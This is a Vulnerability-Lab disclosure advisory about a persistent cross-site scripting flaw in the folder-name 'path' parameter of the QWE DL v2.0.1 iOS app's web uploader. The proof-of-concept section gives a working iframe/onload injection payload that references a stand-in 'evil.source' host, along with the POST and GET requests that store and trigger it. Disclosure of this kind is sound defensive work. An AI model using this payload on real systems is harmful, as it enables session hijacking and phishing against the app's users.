Share
## https://sploitus.com/exploit?id=VULNERABLE:2326
Document Title:
===============
QWE DL v2.0.1 iOS - Persistent Cross Site Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2326


Release Date:
=============
2023-07-24


Vulnerability Laboratory ID (VL-ID):
====================================
2326


Common Vulnerability Scoring System:
====================================
5.7


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Download and browse your documents on your iPhone, iPad and iPod.

(Copy of the Homepage: https://apps.apple.com/us/app/qwe/id935520103 )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent vulnerability in the QWE DL v2.0.1 mobile ios web-application.


Affected Product(s):
====================
QWE Labs
Product: QWE DL v2.0.1 - iOS Mobile Web-Application (GCDWebUploader Component)


Vulnerability Disclosure Timeline:
==================================
2023-07-01: Researcher Notification & Coordination (Security Researcher)
2023-07-02: Vendor Notification (Security Department)
2023-**-**: Vendor Response/Feedback (Security Department)
2023-**-**: Vendor Fix/Patch (Service Developer Team)
2023-**-**: Security Acknowledgements (Security Department)
2023-07-24: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Pre Auth (No Privileges or Session)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the QWE DL v2.0.1 mobile ios web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise 
the mobile web-application from the application-side.

The vulnerability is located in the `path` parameter on creation of new folders. Remote attackers are able to inject own malicious 
persistent script code by manipulation of the path name variable. The injection point is the path name information and the execution 
point occurs in the file ui affected index and sub folders.

Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects 
to malicious source and persistent manipulation of affected or connected application modules.

Request Method(s):
[+] POST

Vulnerable Input(s):
[+] Create Folder

Vulnerable Parameter(s):
[+] path

Affected Section(s):
[+] Index
[+] Sub Folders


Proof of Concept (PoC):
=======================
The persistent web vulnerability can be exploited by remote attackers with network access with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Install the local application
2. Open the web interfact with the local mobile device ip or domain
3. Add new folder and inject payload as name
4. Save malicious payload via post method request
5. Execution of payload occurs in affected main path or sub folders
6. Successful reproduce of the persistent web vulnerability!


Malicious Source: Execution Index & Sub Folders
<div class="panel panel-default">
<div class="panel-heading">
<ol class="breadcrumb" id="path"><li data-path="/"><a>iPhone</a></li>
<li class="active">test"&gt;<iframe%20src="evil.source"%20onload=alert('PWND')></li></iframe></li></ol>
</div>
<table class="table table-striped"><tbody id="listing"></tbody></table>
</div>


--- PoC Session Logs [POST] (Inject) ---
http://[Localhost|IP]/create
Host: [Localhost|IP]
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 13
Origin: http://[Localhost|IP]
Connection: keep-alive
Referer: http://[Localhost|IP]/
path=/test"><iframe%20src="evil.source"%20onload=alert('PWND')>%2F
-
POST: HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Length: 2
Content-Type: application/json
Connection: Close
Server: GCDWebUploader


--- PoC Session Logs [GET] (Execute) ---
http://[Localhost|IP]/list?path=%2Ftest"><iframe%20src="evil.source"%20onload=alert('PWND')>%2F
Host: [Localhost|IP]
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Referer: http://[Localhost|IP]/
-
GET: HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Length: 2
Content-Type: application/json
Connection: Close
Server: GCDWebUploader


Security Risk:
==============
The security risk of the persistent cross site web vulnerability in the mobile ios web-application is estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab 
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits 
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do 
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com		www.vuln-lab.com				www.vulnerability-db.com

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other 
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or 
edit our material contact (admin@ or research@) to get a ask permission.

				    Copyright © 2023 | Vulnerability Laboratory - [Evolution Security GmbH]™